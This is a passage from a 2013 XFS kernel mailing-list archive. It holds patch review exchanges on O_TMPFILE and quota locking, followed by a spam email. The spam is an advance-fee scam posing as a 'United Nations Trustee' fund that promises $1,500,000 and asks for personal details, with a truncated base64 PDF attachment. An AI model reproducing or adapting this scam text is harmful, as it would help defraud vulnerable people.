a/fs/xfs/xfs_qm_syscalls.c +++ b/fs/xfs/xfs_qm_syscalls.c @@ -617,7 +617,6 @@ xfs_qm_scall_setqlim( ASSERT(error != ENOENT); goto out_unlock; } - xfs_dqunlock(dqp); tp = xfs_trans_alloc(mp, XFS_TRANS_QM_SETQLIM); error = xfs_trans_reserve(tp, &M_RES(mp)->tr_qm_setqlim, 0, 0); @@ -844,6 +843,8 @@ xfs_qm_scall_getquota( if (error) return error; + xfs_dqlock(dqp); + /* * If everything's NULL, this dquot doesn't quite exist as far as * our utility programs are concerned. From BATV+1e4e65daf7c83226d6b1+3764+infradead.org+hch@bombadil.srs.infradead.org Fri Dec 13 10:32:38 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 188227F3F for ; Fri, 13 Dec 2013 10:32:38 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 09066304062 for ; Fri, 13 Dec 2013 08:32:32 -0800 (PST) X-ASG-Debug-ID: 1386952332-04cbb04169714350001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id 1Wdh1ZFFwfyo8Oi9 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 13 Dec 2013 08:32:16 -0800 (PST) X-Barracuda-Envelope-From: BATV+1e4e65daf7c83226d6b1+3764+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VrVet-0006TH-6K; Fri, 13 Dec 2013 16:32:11 +0000 Date: Fri, 13 Dec 2013 08:32:11 -0800 From: Christoph Hellwig To: Zhi Yong Wu Cc: xfs@oss.sgi.com, linux-fsdevel@vger.kernel.org, Zhi Yong Wu , linux-kernel@vger.kernel.org Subject: Re: [PATCH 1/5] xfs: factor prid related codes into xfs_get_initial_prid() Message-ID: <20131213163211.GD20803@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 1/5] xfs: factor prid related codes into xfs_get_initial_prid() References: <1386944873-16796-1-git-send-email-zwu.kernel@gmail.com> <1386944873-16796-2-git-send-email-zwu.kernel@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1386944873-16796-2-git-send-email-zwu.kernel@gmail.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1386952336 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143069 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- > +static inline prid_t xfs_get_initial_prid(struct xfs_inode *dp) > +{ > + if (dp->i_d.di_flags & XFS_DIFLAG_PROJINHERIT) > + return xfs_get_projid(dp); > + else > + return XFS_PROJID_DEFAULT; > +} You could skip the else here. Otherwise looks good, Reviewed-by: Christoph Hellwig From BATV+1e4e65daf7c83226d6b1+3764+infradead.org+hch@bombadil.srs.infradead.org Fri Dec 13 10:32:43 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id C65497F58 for ; Fri, 13 Dec 2013 10:32:43 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id B8EC78F8039 for ; Fri, 13 Dec 2013 08:32:40 -0800 (PST) X-ASG-Debug-ID: 1386952350-04cb6c537c7147e0001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id Dx9CDh4qKxJHnVZS (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 13 Dec 2013 08:32:31 -0800 (PST) X-Barracuda-Envelope-From: BATV+1e4e65daf7c83226d6b1+3764+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VrVfC-0006U6-Je; Fri, 13 Dec 2013 16:32:30 +0000 Date: Fri, 13 Dec 2013 08:32:30 -0800 From: Christoph Hellwig To: Zhi Yong Wu Cc: xfs@oss.sgi.com, linux-fsdevel@vger.kernel.org, Zhi Yong Wu , linux-kernel@vger.kernel.org Subject: Re: [PATCH 2/5] xfs: adjust the interface of xfs_qm_vop_dqalloc() Message-ID: <20131213163230.GE20803@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 2/5] xfs: adjust the interface of xfs_qm_vop_dqalloc() References: <1386944873-16796-1-git-send-email-zwu.kernel@gmail.com> <1386944873-16796-3-git-send-email-zwu.kernel@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1386944873-16796-3-git-send-email-zwu.kernel@gmail.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1386952351 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143069 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Dec 13, 2013 at 10:27:50PM +0800, Zhi Yong Wu wrote: > From: Zhi Yong Wu > > There may be not a parent inode or a name for O_TMPFILE support, but will pass > a struct xfs_mount to xfs_qm_vop_dqalloc(). So its interface need to be > adjusted in order that O_TMPFILE creation function can also use it. > > Signed-off-by: Zhi Yong Wu This patch is not actually needed, as we do get passed a parent. From BATV+1e4e65daf7c83226d6b1+3764+infradead.org+hch@bombadil.srs.infradead.org Fri Dec 13 10:33:51 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 839ED7F3F for ; Fri, 13 Dec 2013 10:33:51 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 730428F8064 for ; Fri, 13 Dec 2013 08:33:45 -0800 (PST) X-ASG-Debug-ID: 1386952418-04cb6c537b7148c0001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id FAxN9LpguLP08mhi (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 13 Dec 2013 08:33:38 -0800 (PST) X-Barracuda-Envelope-From: BATV+1e4e65daf7c83226d6b1+3764+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VrVeF-0006Sp-9p; Fri, 13 Dec 2013 16:31:31 +0000 Date: Fri, 13 Dec 2013 08:31:31 -0800 From: Christoph Hellwig To: Zhi Yong Wu Cc: xfs@oss.sgi.com, Zhi Yong Wu Subject: Re: [PATCH] xfs: remove the incorrect entry in the MAINTAINER file Message-ID: <20131213163131.GC20803@infradead.org> X-ASG-Orig-Subj: Re: [PATCH] xfs: remove the incorrect entry in the MAINTAINER file References: <1386935393-23559-1-git-send-email-zwu.kernel@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1386935393-23559-1-git-send-email-zwu.kernel@gmail.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1386952418 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143069 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Looks good, Reviewed-by: Christoph Hellwig From BATV+1e4e65daf7c83226d6b1+3764+infradead.org+hch@bombadil.srs.infradead.org Fri Dec 13 10:34:04 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id A292C7F60 for ; Fri, 13 Dec 2013 10:34:04 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 92CC9304062 for ; Fri, 13 Dec 2013 08:33:58 -0800 (PST) X-ASG-Debug-ID: 1386952409-04cbb04169714420001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id epEHpZGLyXIF2WBX (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 13 Dec 2013 08:33:30 -0800 (PST) X-Barracuda-Envelope-From: BATV+1e4e65daf7c83226d6b1+3764+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VrVe2-0006Sf-Rq; Fri, 13 Dec 2013 16:31:18 +0000 Date: Fri, 13 Dec 2013 08:31:18 -0800 From: Christoph Hellwig To: Zhi Yong Wu Cc: Dave Chinner , Zhi Yong Wu , xfstests Subject: Re: [RFC PATCH 4/4] xfs: allow linkat() on O_TMPFILE files Message-ID: <20131213163118.GB20803@infradead.org> X-ASG-Orig-Subj: Re: [RFC PATCH 4/4] xfs: allow linkat() on O_TMPFILE files References: <1385379154-3802-1-git-send-email-zwu.kernel@gmail.com> <1385379154-3802-5-git-send-email-zwu.kernel@gmail.com> <20131125214611.GI8803@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1386952409 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143069 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Dec 13, 2013 at 07:34:43PM +0800, Zhi Yong Wu wrote: > > Uggh. For the small amount of extra space needed for the unlinked > > list reservation, I would simply add it to the tr_link reservation > > and be done with it. That gets rid of the need for the noise here. > > > > > > As per above, fold this into xfs_calc_link_reservation() by adding a: > > > > > > + xfs_calc_iunlink_remove_resv(mp); > This way seems to not work... > In xfs_calc_link_reservation(), How to determine if it is for one > regular file or O_TMPFILE file? since this functions is only passed in > mp? The way I understand Dave above is that you should always reserve the higher amount. From BATV+1e4e65daf7c83226d6b1+3764+infradead.org+hch@bombadil.srs.infradead.org Fri Dec 13 10:37:46 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E35917F3F for ; Fri, 13 Dec 2013 10:37:46 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id D0B9130406A for ; Fri, 13 Dec 2013 08:37:40 -0800 (PST) X-ASG-Debug-ID: 1386952653-04cbb041667146a0001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id xf24i67dSKOWiWH2 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 13 Dec 2013 08:37:34 -0800 (PST) X-Barracuda-Envelope-From: BATV+1e4e65daf7c83226d6b1+3764+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VrVk5-0007Zx-IU; Fri, 13 Dec 2013 16:37:33 +0000 Date: Fri, 13 Dec 2013 08:37:33 -0800 From: Christoph Hellwig To: Zhi Yong Wu Cc: xfs@oss.sgi.com, linux-fsdevel@vger.kernel.org, Zhi Yong Wu , linux-kernel@vger.kernel.org Subject: Re: [PATCH 3/5] xfs: add xfs_create_tmpfile() for O_TMPFILE support Message-ID: <20131213163733.GF20803@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 3/5] xfs: add xfs_create_tmpfile() for O_TMPFILE support References: <1386944873-16796-1-git-send-email-zwu.kernel@gmail.com> <1386944873-16796-4-git-send-email-zwu.kernel@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1386944873-16796-4-git-send-email-zwu.kernel@gmail.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1386952654 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143069 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- > + error = xfs_dir_ialloc(&tp, NULL, mode, 0, rdev, please pass the parent inode pointer here. > + XFS_PROJID_DEFAULT, resblks > 0, and pass the project id that you inherited from the parent here. From BATV+1e4e65daf7c83226d6b1+3764+infradead.org+hch@bombadil.srs.infradead.org Fri Dec 13 10:39:31 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id D7E5A7F3F for ; Fri, 13 Dec 2013 10:39:31 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id C6DA9304071 for ; Fri, 13 Dec 2013 08:39:25 -0800 (PST) X-ASG-Debug-ID: 1386952756-04cb6c537d714d30001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id qFih0BZ1C2t3cixu (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 13 Dec 2013 08:39:17 -0800 (PST) X-Barracuda-Envelope-From: BATV+1e4e65daf7c83226d6b1+3764+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VrVlk-0007bo-Lm; Fri, 13 Dec 2013 16:39:16 +0000 Date: Fri, 13 Dec 2013 08:39:16 -0800 From: Christoph Hellwig To: Zhi Yong Wu Cc: xfs@oss.sgi.com, linux-fsdevel@vger.kernel.org, Zhi Yong Wu , linux-kernel@vger.kernel.org Subject: Re: [PATCH 4/5] xfs: add a new method xfs_vn_tmpfile() Message-ID: <20131213163916.GG20803@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 4/5] xfs: add a new method xfs_vn_tmpfile() References: <1386944873-16796-1-git-send-email-zwu.kernel@gmail.com> <1386944873-16796-5-git-send-email-zwu.kernel@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1386944873-16796-5-git-send-email-zwu.kernel@gmail.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1386952757 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143069 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Dec 13, 2013 at 10:27:52PM +0800, Zhi Yong Wu wrote: > From: Zhi Yong Wu > > Add a new O_TMPFILE method to VFS inteface. > For more info, please refer to: > http://oss.sgi.com/archives/xfs/2013-08/msg00336.html > > Signed-off-by: Zhi Yong Wu > --- > fs/xfs/xfs_iops.c | 22 ++++++++++++++++++++++ > 1 files changed, 22 insertions(+), 0 deletions(-) > > diff --git a/fs/xfs/xfs_iops.c b/fs/xfs/xfs_iops.c > index eb55be5..b57cd89 100644 > --- a/fs/xfs/xfs_iops.c > +++ b/fs/xfs/xfs_iops.c > @@ -39,6 +39,7 @@ > #include "xfs_da_btree.h" > #include "xfs_dir2_priv.h" > #include "xfs_dinode.h" > +#include "xfs_trans_space.h" > > #include > #include > @@ -1051,6 +1052,25 @@ xfs_vn_fiemap( > return 0; > } > > +STATIC int > +xfs_vn_tmpfile( > + struct inode *dir, > + struct dentry *dentry, > + umode_t mode) > +{ > + struct xfs_inode *ip = NULL; > + int error; > + > + error = xfs_create_tmpfile(XFS_I(dir), XFS_I(dir)->i_mount, No need to pass in the mount point here, the client can get it easily. > + mode, 0, &ip); Also no need for an always-zero argument. > + if (error) > + return -error; > + > + d_instantiate(dentry, VFS_I(ip)); Shouldn't this be a call to d_tmpfile() instead? Also I'd suggest mergin this into the previous patch, so that we have one that actually adds O_TMPFILE support, and once place to write a nice good changelog. From Marina.Shakhanova@lut.fi Fri Dec 13 10:42:09 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=LOTS_OF_MONEY autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B35A17F3F for ; Fri, 13 Dec 2013 10:42:09 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id A17F330407A for ; Fri, 13 Dec 2013 08:42:00 -0800 (PST) X-ASG-Debug-ID: 1386952896-04cbb04169714900001-w1Z2WR Received: from smtp2.cc.lut.fi (smtp2.cc.lut.fi [157.24.2.213]) by cuda.sgi.com with ESMTP id qlzA8V4Eq1vJR7q0 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 13 Dec 2013 08:41:37 -0800 (PST) X-Barracuda-Envelope-From: Marina.Shakhanova@lut.fi X-Barracuda-Apparent-Source-IP: 157.24.2.213 Received: from localhost (unknown [127.0.0.1]) by smtp2.cc.lut.fi (Postfix) with ESMTP id 54A473F0425; Fri, 13 Dec 2013 16:38:27 +0000 (UTC) X-Virus-Scanned: at lut.fi Received: from smtp2.cc.lut.fi ([127.0.0.1]) by localhost (smtp2.cc.lut.fi [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id EnftsTL5Te-K; Fri, 13 Dec 2013 18:37:58 +0200 (EET) Received: from owa.lut.fi (ex-cas2.cc.lut.fi [157.24.3.27]) (using TLSv1 with cipher AES128-SHA (128/128 bits)) (No client certificate requested) by smtp2.cc.lut.fi (Postfix) with ESMTPS id A46903F03CC; Fri, 13 Dec 2013 18:37:21 +0200 (EET) Received: from EX-MBX1.win.lut.fi ([169.254.1.141]) by EX-CAS2.win.lut.fi ([2002:9d18:31b::9d18:31b]) with mapi id 14.03.0123.003; Fri, 13 Dec 2013 18:37:19 +0200 From: Marina Shakhanova Subject: #(21) selectee united nation trust Thread-Topic: #(21) selectee united nation trust X-ASG-Orig-Subj: #(21) selectee united nation trust Thread-Index: AQHO+CGWRJfLh0sSQUeGAVGyukaEZA== Date: Fri, 13 Dec 2013 16:37:19 +0000 Message-ID: Accept-Language: en-GB, fi-FI, en-US Content-Language: en-GB X-MS-Has-Attach: yes X-MS-TNEF-Correlator: x-originating-ip: [157.24.2.117] Content-Type: multipart/mixed; boundary="_002_D2E07B44F582994B88F8F02DDB49B173106C8F07EXMBX1winlutfi_" MIME-Version: 1.0 X-Barracuda-Connect: smtp2.cc.lut.fi[157.24.2.213] X-Barracuda-Start-Time: 1386952897 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.23 X-Barracuda-Spam-Status: No, SCORE=1.23 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MISSING_HEADERS, THREAD_INDEX, THREAD_TOPIC, TO_CC_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143069 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.01 THREAD_TOPIC Thread-Topic: ...(Japanese Subject)... 1.21 MISSING_HEADERS Missing To: header 0.00 TO_CC_NONE No To: or Cc: header To: undisclosed-recipients:; --_002_D2E07B44F582994B88F8F02DDB49B173106C8F07EXMBX1winlutfi_ Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable ATTENTION: Selectee This is cordially inform your that there has been a set up insured fund for everyone who has bear some loss due to internet scam. The stated amount which has been allocated to you and your is 1,500,000.00 DOLLARS a= nd that will be trusted to your family. Due to the confidentiality of this mail we have pdf file which contain all the instruction you will need to act fast because there are limited number if selectee in this project set up by united nation trustee association. *Privacy is highly needed * The process is fast and efficient. * The basic details request from you is to confirm with the trust board for verification * Check your attachment is free from system defect. Regards UNITED NATIONS TRUSTEE --_002_D2E07B44F582994B88F8F02DDB49B173106C8F07EXMBX1winlutfi_ Content-Type: application/pdf; name="UNITED NATIONS WORLD BANK ASSISTED PROGRAMME.pdf" Content-Description: UNITED NATIONS WORLD BANK ASSISTED PROGRAMME.pdf Content-Disposition: attachment; filename="UNITED NATIONS WORLD BANK ASSISTED PROGRAMME.pdf"; size=233443; creation-date="Fri, 13 Dec 2013 16:18:31 GMT"; modification-date="Fri, 13 Dec 2013 16:18:31 GMT" Content-ID: Content-Transfer-Encoding: base64 JVBERi0xLjUNCiW1tbW1DQoxIDAgb2JqDQo8PC9UeXBlL0NhdGFsb2cvUGFnZXMgMiAwIFIvTGFu Zyhlbi1JTikgL1N0cnVjdFRyZWVSb290IDIwIDAgUi9NYXJrSW5mbzw8L01hcmtlZCB0cnVlPj4+ Pg0KZW5kb2JqDQoyIDAgb2JqDQo8PC9UeXBlL1BhZ2VzL0NvdW50IDIvS2lkc1sgMyAwIFIgMTQg MCBSXSA+Pg0KZW5kb2JqDQozIDAgb2JqDQo8PC9UeXBlL1BhZ2UvUGFyZW50IDIgMCBSL1Jlc291 cmNlczw8L0V4dEdTdGF0ZTw8L0dTNSA1IDAgUi9HUzggOCAwIFI+Pi9Gb250PDwvRjEgNiAwIFIv RjIgOSAwIFIvRjMgMTEgMCBSPj4vWE9iamVjdDw8L0ltYWdlMTMgMTMgMCBSPj4vUHJvY1NldFsv UERGL1RleHQvSW1hZ2VCL0ltYWdlQy9JbWFnZUldID4+L01lZGlhQm94WyAwIDAgNjEyIDc5Ml0g L0NvbnRlbnRzIDQgMCBSL0dyb3VwPDwvVHlwZS9Hcm91cC9TL1RyYW5zcGFyZW5jeS9DUy9EZXZp Y2VSR0I+Pi9UYWJzL1MvU3RydWN0UGFyZW50cyAwPj4NCmVuZG9iag0KNCAwIG9iag0KPDwvRmls dGVyL0ZsYXRlRGVjb2RlL0xlbmd0aCAxMDk4MD4+DQpzdHJlYW0NCnicrX3bchxHkuU7zfgP+QiM kcWMe0Tv2Ni2RIritERpeZkeWc88FIEiWSYCYAOgtJqvXz/nRGZlgSiCvTPdZgIiMjIuHu7Hj3tE go/+fHm9fbs+uR7++Z8f/fn6en3yfnM6/O3Rq4uP//no1R8fN49+Xr/bnq+vtxfnj15+enONqu83 69PN5b/8y/DN42+HR09fpuHd1f174/Du/r1WVmnwPqycH85YdMmxIpah5VUdVaoepZi8leLK5eHk /j03jquIirpyYXBjXIUy+OBXY7VSXYVopbwakxrXVW5WkVbFnrbVGFgIiaVQUZoatmyluErqJ0WW XGLJJupDWJWgxjZFx0EjpmBTtMK4KpWFVji7qqZl5THbsqpZ87Pp+LwK9qIbV1x2RBM0dmmVbUrO 5hkH50e8413gq/YOJq8FobFvq2ojmQCqzdHmgr5Gt0rW2KZqs3CtYk5obGuO1mXDs7Rqzn717BYP rGVttobeEIKsamT9OHut2kKt0kYs1rY0iINTyCtnrYr1gRn6VUYpYI3OFuGtsvhVS9Pi0KVV2H46 NzfmvnEvXImrkmexseNmP8aAalcg02aDZ5NdDZpwsy3CpGpFD7YMh1W1AK2oEZ2YEAI7rY7yNP2x R6Ok6bDr1nFBwWO3rWEp2FeUgx8K1ljZ1BoVSLuwExMb2kZrqwpTOSuNDoJvK5ukLS5B4lbyjo3D ykc9tl0ySdRWWTLBQC6xsSOf+yxCQYXtSBtsC7zNzpukWhhqsdFsu90kMKuILEaHhyWxMObB5DK2 Ri0qvrfMWWrlK9p6aKSjNlTotWcpUtNNDSLU1zlopMmzBcc5mHXYs2Dy8bZVLffGmULNU19j5vQ9 p9ESngVojPYtwX4BBTAxEx8EY/thumPvcI9znwbUAY05AVqR6RRUwCTvbG5QQtvdbhhYWaKaoi9T O0/dwSvOJtVYir2tGXphxehpcUGKZhKHPns9S9JgYFBUX3icOBnTJFSagefIWdQ4m2fklEeYp1v5 xhWZFFDCNExbQ5HVeUwINukdbTnAWCMRBa8mCsp1Ex0BhVCb2Af2VNYMGwzQLGxB8dMCub8aEaLB dhZOyuSIHcI61RhyzwSkLLOzBXpbZ4WJevwAdI1OjZ1w2OyjaQPV2MQA3MlCtkD8acJlm52piq2k eRZMi5auwBq+v3/v7T8Jjr0jVDe6COyyScEHwrQz3Tbl9RFAUmClPiaMT/GYpuMRtyVRVqbiMF6X 